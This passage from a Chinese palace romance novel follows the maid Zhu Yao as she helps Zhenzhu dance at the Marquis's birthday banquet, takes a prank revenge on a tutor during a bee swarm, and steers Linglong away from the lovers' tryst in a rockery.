丹青冷淡道:“你要去便去。”
因着同乡的缘故,瑞香多劝了一句:“那时海棠……即使没有珍珠故意说些似是而非的话怂恿,她也不见得使不出下药这种损招,你何苦还对珍珠抱着偏见呢?”
“这种藏在暗处,冷不丁蛰你一口的人,才是最可怕的。”丹青顿了下,肃脸道。
话不投机半句多,瑞香见劝解无果,也不再费口舌,但她私下总想着得卖个好给珍珠。
不料,这机会很快送到眼前——
离生辰宴不过三日,祝谣应期去取衣裳,却只见到禁闭的铺子,门前落了灰,显然人去楼空了一段时日。
33. 第三十三章
小汤山位于皇城北边,不过一个小山丘,但地势略高,登顶足以俯瞰城间百态。
山麓有温泉,今日天朗气清,平整如镜的水面映照出碧蓝如洗的苍穹,清风徐过,拂散轻纱般的白雾,泛起涟漪,波光粼粼。
一队自宫中而出的仪仗,正沿着青石阶台慢慢向上行进。
福安长公主和恭平郡主晨起便忙于梳妆,过午不食不睡,待到日跌,盛装来到山庄门前等候。
——此山庄乃皇帝赐给裴执鹤的及冠礼之一,亲自题字“积秀”,是除了皇家行宫之外,占地最多的地界。
不多时,已是精简过、却繁丽的华盖映入母女二人的眼帘。
“女儿见过母后。”福安带着恭平行礼道。
赏着绿水青山,伴着花香鸟语,太后一吐闷在深宫许久的腐气,当下满心惬意舒爽。
她一头银发,只以木簪束发,腕间串着佛珠,显得像是寻常人家的老太太。
未看到裴执鹤的太后,敛了几分笑意:“都起来罢,这日头且毒得很,难为你们等哀家了。”
“女儿有些时日未见母后,也是思念,甘愿在此等候。”福安走到太后身边,扶着她往里走。
太后缓声问道:“那西域来的乐团可调教好了?虽是请来让鹤儿高兴的,但她们的言行举止不能轻浮浪丨荡,反之败坏鹤儿的名声。”
“女儿日日派人监看,确保那群舞娘只献艺,不做旁的事。”福安恭敬道。
太后微微颔首:“看来你虽然理不清家务事,但在外甥的生辰宴上,你还是个拎得清的。”
她面上还笑着,仿佛说的话不是故意给福安难堪。
福安牵扯了几下嘴角,却挤不出一个字。
远远地,太后瞧见一个人影朝她走来,脸上重新扬起笑,问道:“那是鹤儿吗?”
“回太后,是的。”
“快,快看看哀家身上打理好了没?”
“恕女儿愚笨,没看出有不妥的地方。”福安忍住白眼,回道。
裴执鹤今穿绛红色大袖圆领袍,墨发束起,显露出俊美无俦的脸庞,薄唇微抿,浑身透出一股高不可攀的气息。
向来偏爱他的太后,立即止住他的举动:“免礼,免礼,一个多月未见,哀家想你了。”
裴执鹤上前握住她的手,惯来淡漠的眼眸中,也析出几分温柔:“是孙儿的不是,今日是孙儿的生辰,孙儿斗胆请求皇祖母,多在积秀山庄住些时日。”
“皇祖母”是被当今圣上特别允许的称呼,作为同胞兄妹的孩子,本就是一家人,不应分内外。
“好啊,只要你不嫌哀家这个老东西,扰你清静。”太后揉着他的手背,笑呵呵道。
这厢其乐融融,那厢祝谣跑得气喘吁吁。
她先是在乐团那边,为珍珠迟来编了个理由,糊弄过去,半道上看到太后,急急忙忙地跑回小房。
此处是间空置的库房,暂且无人光顾,祝谣便临时征用。
“要不要我搭把手?”祝谣看着正给自己缝珠缀的珍珠,尽力平稳气息道,免得将紧张的气氛传递给她。
心思敏感的珍珠,一下便察觉出祝谣因急切而发出的轻喘,银针偏了几寸,猛地扎到了指腹:“嘶!”
三日前,祝谣空手而归。
珍珠克制不了往最坏的方面去想,自认或许是老天也要阻止她靠近侯爷,面上配合着祝谣积极想法子,心底却动了放弃的念头。
祝谣选择不对珍珠隐瞒消息,不是为了看她自怨自艾的,连安慰都顾不上,她便去向乐团协商,能否借到一条舞裙。
然而不幸的是,乐团里每个人的舞裙,都是自己出钱定制的,轻易不外借。
那还能怎么办?只能她们动手,赶制一件新舞裙出来。
舞裙的衣料从哪儿找?祝谣不管什么材质,薄纱、帷幕、甚至是毯子,只要颜色和上身感觉对了,就剪下来,盯着珍珠熬夜缝制。
熬得珍珠边掉眼泪,边手中密密缝。
好在天无绝人之路,给她们送来了瑞香,有瑞香的示好和帮忙,在启程去往积秀山庄的前一夜,一件光秃秃、未来得及绣上花纹的舞裙制成了。
祝谣见她指尖冒血,用帕子抹去,吹了吹气:“没事的,只有五串珠缀要缝了,来得及!”
“不行的,我做不到的。”泪珠扑簌掉落,珍珠双手抱肩,茫然地看着地面,呢喃道,“老天要惩罚我,一开始用了不正当的手段接近侯爷,我错了,我错了……”
祝谣狠狠地摇动她的肩膀,语气重了不少:“都到这种时候了,你不要再说放弃的话了!眼下的情形是,你不上也得上,否则恭平郡主不会原谅我们戏弄了她的!”
珍珠的眼泪不停:“可是,献了舞之后呢?侯爷会记起我是谁吗?要是太后不满意我,我还如何能出头?”
鉴于她的问题涉及剧透,祝谣闭紧嘴,只冷脸把针线重新塞回她手中,瞪着她,掐断她陷入悲伤自责的苗头,要她现在、立刻、马上动工!
宴席会在暮云四合之际开始,不到最后一刻,祝谣绝不会让珍珠停下脚步。
“你是想我死吗?”祝谣面色凝重道,“如果你不想上台,那你现在便走,正好逃出去,远走高飞,一切后果我独自承担。”
珍珠一听,眼神清明了许多,嗫嚅道:“不是的,我、我不想你死……我缝,我缝,呜。”
她极力憋回呜咽,心下被祝谣凶的委屈,竟霎时间胜过对舞蹈时可能发生失误的担忧。
“我绣就是了嘛,别生我气了,好不好?”
*
临近黄昏,宾客陆续到场。
在离山庄大门还有一里远的位置,一顶蓝盖轿子停在古树下。
半晌,轿夫举着门帘,等得不耐烦了,孔夫子才下了轿,抖着衣袖,眼朝天,踏着四方步要走。
却被轿夫挡住了去路:“这位爷,钱您还没结呢!”
孔夫子嗤了声:“粗俗。”尔后从腰包里抓了铜板,一枚枚数清楚后,丢给轿夫。
从树后出来的孔夫子,自然而然地把在身后啐骂的轿夫,归结为是嫉妒。
沾了国公府夫人的光,他得了帖子,得以窥见这始建于
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前朝的积秀山庄。
只是这儿的下人实在无礼,竟不来引他入座,害得他在里面打转。
因不时有旁的贵客经过,孔夫子为不显窘况,只能端着架势,胡乱地从东走到西,又从西走到北。
孔夫子大腹便便,走几步就气喘、冒汗、腿打抖,道袍贴在身上黏糊糊的。
帕子湿得能拧出水,他坐在亭子里,重重地呼吸,喷气的声音像是只野猪。
天色愈加阴了下来,他犹记得开宴的时辰,起身终于打算寻个小厮带他过去,却在下一刻,碰到了裴执鹤。
孔夫子想起他失怙失恃,又想自己正值不惑之年,却无妻无儿,见裴执鹤一副目中无人的模样,骨子里升起一股好为人师的冲动。
“侯爷可知,有句话是与人为善,虽未至祸——”
他挡在正中,作揖进言,却迟迟没有回音,抬眼看去,早被裴执鹤完全无视,撇了下来。
丫鬟立在一旁,不知看了多久的笑话,她掩嘴道:“您是要去席间落座吗?请随奴婢来。”
最后孔夫子灰溜溜坐在宴席最末,周遭都是打着谁谁谁远房亲戚旗号的宾客,连上座的人都睄看不分明。
“鹤儿,来尝尝这糖糕,沾了花蜜,香气扑鼻。”太后给裴执鹤挟了一块,“你姨母花了心思,搜罗了不少新鲜玩意,待会还有西域来的舞团献艺。”
今年生辰宴别开生面,福安铆足了劲要做好,听了恭平的劝说,又讨了太后的认可后,连同席间的佳肴,都穿插入异域特色。
单说那糖糕,多数人是头一回尝到这种极致的甜。
它的做法是,将煮熟的糯米捶打成糊,间或加入白糖,接着置于平整的容器里,切割成方正的小块,裹上面粉,再下入提前融了蔗糖的锅中油炸定形。
咬一口,甜蜜又油酥。
裴执鹤忍着不适,咽了下去:“多谢姨母。”
陆续有人到座前给太后请安,继而恭维起这个受皇上和太后看重的天之骄子。
“侯爷年少有为,前途是一片光明啊!”
“侯爷玉树临风,美冠如玉,端的是貌比潘安,颜如宋玉,才比子建!”
“看到侯爷,臣便起懿阳长公主和驸马爷当年的风姿。”
“不知侯爷身边可缺知冷知热的人?臣家小女年芳二八,精通四艺,性子温驯……”
恭维到最后,图穷匕见,话茬总会被引向婚姻大事之上。
裴执鹤听过许多这般的话,眼下已然不甚在意。
他看着座前的王公贵戚们,一个个衣冠楚楚,却是干着皮条客的活,张罗着怎样将姑娘卖个好价钱,虚伪,虚伪!
没有情爱的婚姻的下场,裴执鹤已然从父母身上可窥一斑,他是断不会接受利益至上的结丨合。
落日熔金,渐渐西垂,终被灰蓝色的云蔼尽数吞没,一阵悠远的笛声在此刻蓦然响起。
须臾,轻快的鼓声,清脆的铃声,齐整的脚踏声,拉开了生辰宴起始的帷幕。
裴执鹤遥遥望去,于一片似火橙红般的烛光中,擒住了女子曼妙的身影。
34. 第三十四章
当一朵花旋转的时候,人们往往觉得形只影单;当两朵花旋转的时候,开始欣喜;当三朵花旋转的时候,目不转睛……
而当花丛中扬起一朵最妍丽卓绝的花儿时,便将所有心神置于其上,任其撩拨。
祝谣站在树下,即使隔着距离,歪斜着角度,也能望见这一刻的珍珠,犹如夜暗自亮的明珠,绽放万丈光彩。
那个前不久还哭诉自己会搞砸一切的姑娘,朱唇丰润如海棠,浅笑已是迷人心。
勾脚、拈手、旋转,举手投足间尽是俏皮灵动。她的舞裙旋开,美如璀璨的烟火。
祝谣的心有些软软的。
这还不迷死裴执鹤?
诚如她所料想,裴执鹤本来意兴阑珊,直至珍珠出现,浑身血液奔流,继而沸腾。
那些日子的排解,有了具象的面容。
太后久居宫中,见过大风大浪,因此在短暂的惊艳之后,很快抽离情绪。
她稍稍侧目,便发现了外孙的异样。
鹤儿这个孩子,她自小看到大,许是并不贴身养着,所以能够以比较清醒的局外人视角察觉出他身上的变化。
大抵是懿阳和驸马的逝世伤了孩子的心,鹤儿变得冷心冷情,走向了与父母截然相反的另一个极端。
他不再对任何人或物动过真心,读书、入朝、交友等等,都像是为了让自己保持作为一个人的模样,让她和皇帝安心。
说来,也是她的错。
当初要不是她将全部心思放在皇帝身上,确保他登基不会受到阻碍,又怎会忽视了懿阳,以至于后来出于愧疚,任由她的性子挑了个驸马,到头来却酿成了苦果自己咽。
太后饮了半盏葡萄酒,压下回忆带来的苦涩,复把目光投向舞台中心。
那个跳舞的……似乎是个汉人?
太后若有所感地向福安的方向看去,只见她脸色铁青,瞪着恭平,敷了粉的眉心,将原来的细纹勾勒成山川沟壑,显然是既意外于现在的情形,又无法当众显露出来,叫人瞧了笑话。
珍珠畅快极了,像是踩在了云端。甩出去的丝带犹如灵活的青蛇,随她舞动,腰间珠缀互相擦碰,清脆作响,好生悦耳。
乐团其他姑娘都在为自己作配,在这首曲子里,她是唯一的主角。
她从未体会过成为众人的焦点,此情此景,她永远都会记得的。
最后珍珠定在了鼓声的末端,她两手交叠搭在肩颈,头微垂,宛若优雅的天鹅。
她迎来了大梦初醒。
不舍和难过正如沸腾前向平面升窜的水泡,密密匝匝,迅速拍下她的喜悦。
她想知道,侯爷认出她了吗——
珍珠抬起长睫,意外地撞进坐在上座、显得那么遥远的侯爷的墨瞳当中。
拉丝了!
祝谣的目光在全场宾客身上逡巡,他们几乎毫不遮掩地展露出了艳羡、欣赏、垂涎等等神色,一股自豪感油然而生。
然而她还未高兴多一刻,系统当即泼了盆冷水:“插入另一则任务,原书男女主即将在接下来的十二个时辰内行云雨之欢,你需跟随他们,为他们挡住一切破坏进程的任何可能。”
祝谣笑脸一垮,喜色淡了七分。
舞曲散了,舞蹈却热了氛围,众人回过神来,举杯畅饮。
就在此时,祝谣听到细微的嗡嗡声,起初她还以为是哪儿来的苍蝇,紧接着,一团生物飞进了席座。
乱,乱,乱!
原本形容优雅闲适的贵人们,顷刻间抛下礼义廉耻,或惊声喊叫,或跌倒红毯,满头粘上食物渣滓,或钻到几案底下。
祝谣随身带着防蚊虫叮咬的药膏,见状立即挖了几块,涂在裸丨露的肌肤上。
她放眼望去,杯盏倾倒,糕点、肴膳散落一地,被踩得一片狼藉,祝谣犹在寻人的空隙,心疼了下粮食。
乐团离席座较远,但也处在蜂群边缘,祝谣找到了珍珠,赶到她身旁。
“快拿帕子遮住脸,我抹了清凉膏在上边!”
珍珠揪着她的帕子,却迟迟不肯掩面。
她挂记着侯爷,视线掠过重重人群,循着案椅,恰与裴执鹤于一片混乱之中,双目相交。
祝谣挥了挥手,见珍珠的眼睛是彻底黏在裴执鹤那儿了,心下无语。
到底秉持着尽责的原则,祝谣给珍珠指明了一条最佳逃离路线,又把清凉膏塞给她。
她跑回树下,蹭掉鞋底的蜂糖,抬头便见福安不情不愿地护着太后,在一众仆役的包围下退离。
然而那蜜蜂在人类不断地干扰下,队列被打乱,彻底恼了。
有单枪匹马的蜜蜂,迎头碰上福安的脑门,应激般插入毒针!
“啊!”
仿佛释放了什么信息,蜜蜂接二连三地蛰得福安满头包!
她痛得虚弱倒地,差点绊倒了太后。
“来人!快把长公主扶起来回房,速请郎中过来!”太后最是镇定,发号施令,稳定局面,“这儿不需要那么多人手,反而乱了阵脚,其余人去宁远侯那护着。”
祝谣看了好一会儿福安的惨状,直至人走远了,才默默收回视线。
这般打岔,祝谣再去寻珍珠时,已不见踪影。
想来躲去安全的地方了。
祝谣也打算溜走,余光却瞄到一张几案底下,钻了个肉山。
她好奇地仔细分辨,发现那肉山就是是孔夫子。
祝谣的掌心隐隐发烫,似乎还能体会到当时的刺痛。
那日虽说她是代郎钰受罚,但是孔夫子才是直接下手,令她吃皮肉之苦,甚至导致发高热的罪魁祸首。
若是打的是郎钰,他敢下那么大的力气吗?
不想还好,一想心口冒火,祝谣并非不能忍耐,或许有这段日子频频被磋磨的憋闷的缘故,她许久未这般恼怒,顿时恶向胆边生,弓着腰,拽下两张桌布,利用其中一张蒙起脸,慢慢向孔夫子靠近。
另一张铺在地上,郎钰便惊讶地看见祝谣如旱獭般,将食物揽入怀中,可爱极了。
“大人,您是被困在这了吗?奴婢来帮您。”祝谣关切道。
孔夫子幼时被虫子咬过,生平惧怕任何蚊虫,不论是会飞的,还是只会爬的,一见便腿软。
处于心胆俱裂状态里的孔夫子,下意识点头:“好,好,快带我出去,回头、回头有赏!”
“您出来些,这……奴婢抬不起来。”祝谣故作为难道,“您别担心,我身上带了清凉膏,蜂群不敢过来的。”
四肢着地的孔夫子嗅了嗅,确有股薄荷的刺激味道,信了她,抖着大腿,两臂先行,
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往前蠕动。
“再出来点,快了,快了。”
祝谣极有耐心地鼓励着,只待他整张脸露了出来,她迅速将裹满黏腻蜜糖的桌布,连同孔夫子的头发,一齐埋了进去,兀自撵了几下口鼻!
“钰儿?!”苏氏回头见郎钰停下,叱道。
见蜜蜂绕开了蝉儿,郎钰欲收回眸光,不承想从那被咬得龇牙咧嘴的男子的面容上,找出了孔夫子的影子。
他立时明白明白祝谣是在做什么。
郎钰弯起眉眼,眼尾的弧度像是狐狸的尾巴。
他决定,再往孔夫子的伤口上,撒一把盐。
“婵娟,回去找找有没有治疗叮咬的膏药,拿来给我。”
孔夫子被咬得吱哇大叫,一下子从桌底蹦了起来,掀翻木案,所有人都不由朝他看去,仿若瞧了一场猴戏,脸上露出或埋汰或嫌恶的神情。
这位往日高呼之乎者也、只敬罗衣不敬人的夫子,此刻将自己的颜面和体统都丢到了地上,丑态毕露,任由王公贵戚们默契地将他判逐出上层圈子。
*
祝谣深藏功与名,手因为激动而微微发抖。
回过神来,她发现自己躲进了灶房。
地上散着切碎的菜,不远处大缸里,牛奶丨水面上还飘着几具蜜蜂尸体。
祝谣扫过去,数着灶房现有的食材:鸡蛋、面粉、白糖……
貌似可以使着做蛋糕?
到时候再让珍珠献给裴执鹤,既新颖,又令人记忆深刻。
正好灶房新垒了土制烤窑,原是方便烹饪西域美食,眼下也便宜她了。
祝谣洗净手,捋起袖子,根据记忆里的做法,动手起来。
过筛面粉、加热豆油、冷却蛋清……至于面粉是不是低筋面粉,豆油味道过大等等细节问题,祝谣暂且忽略不计。
条件有限,再说只是给裴执鹤一点小小的震撼,眼睛吃饱即可,入嘴他未必会吃得惯蛋糕的味道,毕竟山猪吃不来细糠。
祝谣手持两根筷子,加入豆油,与面粉搅拌顺滑后,依次倒入牛奶、蛋黄,搅拌成流动的面糊状。
……
做出来的分量足够烤两个蛋糕,祝谣怕土窑控制不好温度,多一个有备无患。
她犹在装蛋糕糊的容器下,垫了盛有热水的器皿。
不知不觉中,明月高挂,繁星闪烁,席间奔逃的贵客皆在庄子上歇下了。
“诶?你是哪个院里的?”惦记着活计的丫鬟,推门见灶房有人,愣了愣。
祝谣晃了下腰间系的名牌,道:“在侯府是明鉴院的。”
“姐姐怎么来这儿了?”丫鬟殷勤道,“是侯爷要吃什么吗?怎劳烦姐姐亲自动手?”
“侯爷可惜没尝到馕饼的滋味,我便来自己试着做了张出来,已经烤上了。”祝谣淡定道。
丫鬟自告奋勇道:“哎呀,这火候的掌握可是个技术活,我来,我来。”
蛋糕和馕饼能用同一个火候吗?
祝谣不敢托大,唬着丫鬟口头传授了烧火秘诀,大概添置了所需的柴火,尔后拉着丫鬟出了灶房。
半道上,她编了借口溜走。
算算时辰,裴执鹤和珍珠要干柴烈火,一触即燃了!
祝谣奔向庄子里唯一的水湖,旁边的假山群。
35. 第三十五章
生辰宴闹成这样,大家的关注点已然从献舞的女子转为蜜蜂从何而来。
太医给福安拔了刺,拔刺之际还差点被其乱挥的手臂误伤,开了药之后,便匆匆告退了。
“嘶,疼死我了!这可怎么好,我还怎么出去见人?”福安伏在美人榻上,忽然喊道,“拿镜子来!让我看看,那蜜蜂把我咬成什么样了!”
如今福安的脸上是左肿一块,右肿一块,上下皆肿,就连鼻头也被蛰了口,全脸红肿,瞧着很是瘆人。
丫鬟们没一个敢动脚去拿,因为长公主若是照了镜子,直观地看了自己的丑样,她必会将气撒到她们身上。
恭平了解母亲的性子,也想到了后果,遂拿过云锦手中的药膏,坐到美人榻旁。
她挖了勺膏药:“先上药罢,母亲。您不疼吗?而且太后还没走,也是顾着您的面子,等您包扎好了,她就会进来了。”
“你说她……这是要看我笑话吗?”福安仰起脸,方便女儿涂抹膏药,“轻点!”
福安作为庶出,在宫中不受重视,而太后原先是皇后时,走的也不是慈爱善良的路线,所以福安至今是对她有怨气的,怨她不对皇嗣一视同仁,怨她漠视庶出。
“对了,我差点给忘了——珍珠是你安排的?”福安眯起眼,“难怪你那么卖力,劝我请西域乐团,原是着了珍珠的道,自己不上台,倒让那等下人在鹤儿面前表现。”
“你是生了别的心思,不愿嫁给你表哥?”
恭平还未想好该怎么说,现下猛不丁被提起,更是无话可说。
就在福安眉头拧得愈深时,太后径直进来了。
“哀家倒是才清楚,你看中鹤儿的正妻之位。”她声量、语调皆与寻常无异,面上却没了笑意,“哀家还以为你是个好的,念及懿阳,才多加照顾鹤儿。”
福安着急起身,同恭平未收回去的指头撞到一起,疼得顾不上仪态,忙解释道:“女儿知晓恭平配不上鹤儿,但她心中有鹤儿,作为母亲,女儿也得帮她一把。这倒并非如太后所说,女儿是出于盯上了侯夫人的位子,才多年来时常照顾鹤儿。”
太后对她的话不置可否,转而问向恭平:“好孩子,同哀家说说,你是不喜欢你表哥了?”
恭平咽下实话,想着若是懿阳长公主,会用什么样的口吻回复,才道:“表哥如山中雪莲,我便如天上明月,在一起的话自然熠熠生辉,但是各自耀目,各放光彩,这样我们谁也压不倒谁。”
“恭平!”福安皱眉,此刻不是这般说话的时候。
太后却笑呵呵道:“日月何必争辉?好孩子,洛都男儿甚多,哀家必让你挑个满意的。”
此话一出,福安愕然:“太后……”
“你先下去罢。”恭平高兴于意外之喜,乖乖退下,太后这才肃起脸,斥责道,“你若真心为恭平好,就该为她榜下捉婿。科举之下,如此多青年才俊,不乏出身世家的,这般门当户对,恭平才不会受委屈。”
她截断福安还想辩驳的言语:“哀家在长盛街有处房产,生辰宴后,你们便去那里避暑罢。”
鹤儿的正妻需要仔细挑选,免得走上他爹娘的老路,因此福安的打算决计不能得逞。
语毕,上了年纪的太后,颇觉精神不济。
于是也未管福安有多不甘心——福安总会想明白的,毕竟现今的一切,都是皇上和她赐下的——便回到了住处。
玲珑跟了过来服侍,依照在寿康宫的习惯,她轻轻按揉太后的穴位。
半晌,太后缓过劲来,阖着眼,徐徐道:“你自己没用,就别指望还要哀家出面,哀家这张老脸,在鹤儿面前还能用几次?”
玲珑咬唇,她在深宫待到二十二岁,出宫婚嫁则年龄偏大,原想出来在侯府讨个前程,结果竹篮打水一场空。
论相貌,论性子,论能力,她自认不输明鉴院的任何一个丫鬟,然而裴执鹤的眼中始终看不到她的好。
“你若是有傲气,你便再努力些,争做首名,让鹤儿眼中只望得进你,才不负你们颖南李氏的风骨,不是吗?”太后轻叹道。
这也是她容忍玲珑接近鹤儿的原因之一。
玲珑也算是她看着长大的,洁身自好,温良恭顺,虽说家族早些年犯了错,已经没落,但侍奉在鹤儿左右,还算相配,也不必担心之后会越过正妻。
玲珑退下后,回去院子,却见正房未亮灯。
“侯爷睡下了?”眼下不过戌时,玲珑记得裴执鹤的作息,起码再过半个时辰,才会歇下。
昌安眼神飘移了一瞬,随即惜字如金道:“是。”
*
珍珠不知不觉中,走到了一处湖泊旁,此时的她,正为侯爷牵肠挂肚。
当时四下乱成一团,她原想飞奔至侯爷身边,献上清凉膏,却被热心的姑娘们拽着避离蜂群。
但她总禁不住想,最后回望一眼所看到的侯爷,是否同她一般,担忧着对方的安全?
还有,侯爷认出她了吗?记住她了吗?她会不会被允许,能够接近他呢?
虽然于生辰宴上舞了一曲,但要是侯爷只看进眼里,却未记在心底,那她和蝉儿所做的一切,都是白费力气了。
珍珠并腿,斜坐在芳草之上,皎洁月华顺着柔滑的青丝,流入清湖,悬浮水面,随浅淡的波纹颤动。
她拾起一块石子,一下又一下地扔向湖面的明月。
“你在做什么?”
寂静的夜里,忽然响起了她朝思暮想的人的声音。
珍珠惊诧着回眸,落入一双映着圆月的黑眸。
“……侯爷?”
裴执鹤离她仅有几步的距离。冥冥之中似乎有股力量,推着他向女子靠近。
与此同时,他发觉腹下的起伏,无法自控的下作,将燥热灌满全身。
裴执鹤忆起那方帕子带来的舒快,飘飘然,似魂魄出窍,游走于天地万物之中,似蜻蜓点水,浅尝即止,愈加沉迷。
“侯爷怎么来了?”珍珠起身,垂眸走近了一步。
“月光甚好,便想出来走走。”裴执鹤踏出一步,轻唤了声,“珍珠。”
只一声,珍珠便落下泪来,滴在衣襟上,如繁星点缀。
“是,奴婢是珍珠。”她戚戚望向裴执鹤,“侯爷还记得奴婢。”
裴执鹤走完最后一步,与她近在咫尺。湖面的银光描摹着他的轮廓,皎如玉树,面容清疏,满身风姿。
他却握住了自己。
一颗泪珠砸在了手背上,裴执鹤将她的手握得更紧。
……
祝谣赶到这时,前方有两个身影,她细细盯了会儿,确定是珍珠和裴执鹤。
很快,他们便互相紧贴着进了假山里。
看着熟人做不可描述之事,总有种奇怪的感觉。
祝谣谨记自己的任务,寻了个隐蔽又不影响她看守的地方,一屁股坐下,开始赏着天上的圆月。
然而周遭很是安静,假山窸窸窣窣的动静轻易传入耳中,她没办法,于是爬树,将树皮上的蝉全部薅下来,整整齐齐摆放在自己脚边,任它们个个受到惊吓之后,叫得更欢更大声。
比起祝谣披着雪霜般的月色,孤苦伶仃的样子,假山里则是另一幅景象
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。
此地逼仄狭小,裴执鹤被迫俯身,紧紧相贴于女子。肌肤相贴的摩挲、挤压,带给他沉浸的感受。
回音会把啧啧水声和击打的声音反馈回来,想到山庄里有长辈,有发小,有诸多表面光鲜的贵戚们,裴执鹤便觉一种隐晦的快丨感,由脊骨窜至后脑,如电闪雷鸣,刺激得汗毛倒竖,呼吸加快,脑中一片混沌。
珍珠不敢有一丝松懈,她贪恋裴执鹤只有在鱼水之欢当中释放的温柔,她半是清醒地拥着他,身上已分不出是谁的汗液,俱是滑湿黏糊得像陷入泥潭一样。
她慢慢扣紧置于他后背的素手,心中升起贪念:要是他永远是看得见自己,那该有多好……
有道是:银瓶乍破水浆迸,铁骑突出刀枪鸣。
……动静也忒大了些罢?
祝谣在闹得耳刮子嗡嗡的蝉鸣中,偶尔还能听到一丝吟丨哦,几次为他们捏了把汗。
但她站起身,看着几乎黑黢黢的夜色,又稍微放下心来。
庄子里的湖泊远离居处,今日又突遭蜂群袭击,应当不会还有人为追求风花雪月,月下吟诗弹琴。
祝谣放掉几只蝉,让自己的耳朵休息一下。
她仰躺着凝望星空,发觉现世和来世的它,同样深邃地俯视着万千生物。
蝉鸣之中混杂着些许细碎的摩擦声,祝谣听久了也便习惯了,困意涌现,不禁打了个哈欠,她无意识地往周边看去——
有人!
祝谣强行中断打了一半的哈欠,眼花模糊了视线,急忙抹掉,便见那道人影又近了一些,显然是往湖泊来的。
她回头看向假山,珍珠和裴执鹤似乎换了个方向,只能通过月光,大概辨别出有半个衣角露了出来。
祝谣稍微镇定心神,观察到人影的脚下,穿着的是一双绣花鞋。
循着女子的裙摆,祝谣一路向上,定在了被斑驳树影遮掩的面容上,终于,辨别出来人是谁——玲珑。
她怎么来了?祝谣暗忖道。
紧接着,她发现玲珑手中提着小灯,脚步的方向是朝原书男女主那边去了!
真是想什么来什么!
眼看着玲珑要越过自己,祝谣一把薅起地上所有蝉,猛地朝外扔去,自己也假装崴脚,扑了出去。
“啊!”
玲珑也是浸润深宫多年的,怎会看不出昌安的隐瞒?
她面上不显,忆起宴上献舞的女子,好不容易才接受了她是珍珠,而且恭平郡主也助力其登台的事实。
或许……以往是她太过保守了,侯爷是男人,即便多么高不可攀,也离不开被那二两肉掌控。
玲珑先是去了乐团住下的院落,未寻到珍珠,提着小灯便细细思考起来,侯爷和她会在何处碰面。
今夜入住山庄的人甚多,任何居处都灯火通明,绝不适合私下相会。那便只有通往山上的东北一角,既有波光粼粼的水湖,又寂静无声。
她不求侯爷能立即回心转意,但绝不许珍珠走在她前面。
因是无人往来,空旷的周围只有她一人的脚步声,玲珑不由有些慌乱,怀疑自己是否寻错了地方。
但那假山惯来是掩藏深宅大院里不为人知的隐秘,她还未一探究竟,都走到这儿了,根本不愿半途而废,遂提快了步子。
不料,不知从哪先是飞出虫子,那挥翅的声响听得玲珑浑身一僵,紧接着,又飞出一大团黑影,朝她扑来!
玲珑吓得跌坐在地上,小灯摔向一旁,惊恐尖叫。
黑影砸到了她的腰腹之间,还未破出喉咙的叫声,顿时挤成一团,躲在了咽喉之下。
36. 第三十六章
见似乎吓唬得太过了,祝谣抬起头,将脸露了出来。
玲珑浑身发抖,好一会儿才辨别出她是蝉儿,恼意霎时涌上心头,只是礼教克制了她的失态,仅在语气上显得刻薄:“我竟不知你还有装神弄鬼的本事?今日宴上那莫名的蜂群,莫非便是你引来的?”
“我知错了,玲珑姑娘,我不是故意的。”祝谣伏小做低,扶她起来,忙活着给她拍掉身上的草屑,“我只是馋炸知了的味道,所以悄悄跑过来抓一些,下树的时候,不小心崴了脚,这才撞到了你。”
小灯被她捡了起来,里头的烛火却熄灭了,玲珑未接过来,听闻祝谣竟吃的是甚麽知了,秀眉一蹙:“你是侯府的下人,出去了,一言一行皆代表着宁远侯府,吃这等上不得台面的东西,叫贵人们看见,就是给侯爷丢脸。”
“玲珑姑娘说的是,捉这知了,还伤着了您,我再也不敢了。”
祝谣认错态度良好,玲珑也不好再训斥下去。
好在她随身带了火折子,吹了口气,见火苗蹿起,要祝谣抬起灯柄,方便她点燃烛芯。
灯火歘地亮起,祝谣却攥着灯柄道:“这儿太黑了,姐姐要做什么,不如带上我罢?”
“你害怕?”玲珑了然道,“那便跟来罢,我白天在这丢了串手钏,现下才抽出空来搜寻。”
她让了一步,祝谣顺势领前她半步。
“姑娘的手钏是什么样式的?”
本也是胡诌的,玲珑继续编了个珊瑚红手钏。
祝谣有意带她远离假山,于是边攀谈,边调转方向。
起初玲珑面对漆黑的四周,树影在月光的照射下,如鬼魅一般,有些紧张,但随着祝谣的话语,渐渐平复下来,反而注意到前行的方向与先前相反了。
“停下。”玲珑握着祝谣的手,往外横扫过去,仔细看了一圈才道,“你走错地方了,是往那儿,看到那处的假山了吗?往那走。”
祝谣心中焦急万分,却不好直接阻止玲珑,否则更令人生疑,面上诺诺应是。
只能制造响动提醒裴执鹤带着珍珠躲好了。
行至湖畔,脚边碰到一块石头,祝谣稍稍用力,将它踹进湖中,噗通一身,溅起的水花差点撒到玲珑身上。
玲珑掩鼻,移到祝谣背后的另一侧:“多看看路,莫再踢到石子了。”
假山嶙峋,沿着湖畔约有半里那么长,四通八达,从东边钻进去,能从西北边出来。
但她们俩要入口的地方,正是裴执鹤和珍珠先前进去的。
祝谣找不着机会,也不敢再弄出明显的动静,一路便顺利进了假山群。
里面像是个迷宫,玲珑亦无要求她该往何处走,祝谣便随意发挥,尽量避开适合容纳成人的位置。
“等等,你有没有听见喘气的声音?”
玲珑这番话,镇住了两个人。
一是祝谣,一是裴执鹤。后者托抱着珍珠,艰难地控制呼吸,又用另一只手,捂住怀中的女子,却忽觉掌心一片濡湿酥麻。
他差点破功,概因珍珠竟伸出软舌,一点点,挑逗般舔舐着他。
祝谣绞尽脑汁道:“假山立在湖水旁,想来是风把水声送进来,形成了回音。”
“是吗?”玲珑轻声道。
“如今夜色渐深,在这山上还有些冷,我帮姑娘快些找到手钏,免得姑娘冻着。”祝谣扯开话头。
她低头扮作找物件的样子,倏地,烛火照到了一处影子。
心下咯噔,祝谣极快地挡住去路,好在这是个岔路口,她作势护着玲珑的头,道:“姑娘小心,这顶头忽然矮了几分,别碰着了。”
玲珑多睨了她一眼,并未察觉到,仅几步之外,倚在石体上、衣衫半褪、汗水濡湿鬓角的男子,恰是她要找的侯爷。
此后搜寻亦是有惊无险,裴执鹤会带着珍珠移动,而祝谣总能掰扯出恰到好处的理由,不动声色地带着玲珑绕过去。
另有凉风徐过,玲珑听之,也觉那喘气声可能是各种声音在假山山体内混合后,回响入人的耳朵形成的。
“想来是找不到这手钏了。”
玲珑有些不甘,立在假山的出口前,迟迟不肯离去。
“姑娘的手钏很重要吗?”祝谣问道。
“自然。”玲珑望着里面,“……我很喜欢他。”
祝谣不晓得该说些甚麽,只在一旁陪她站着,许久,玲珑才下山去。
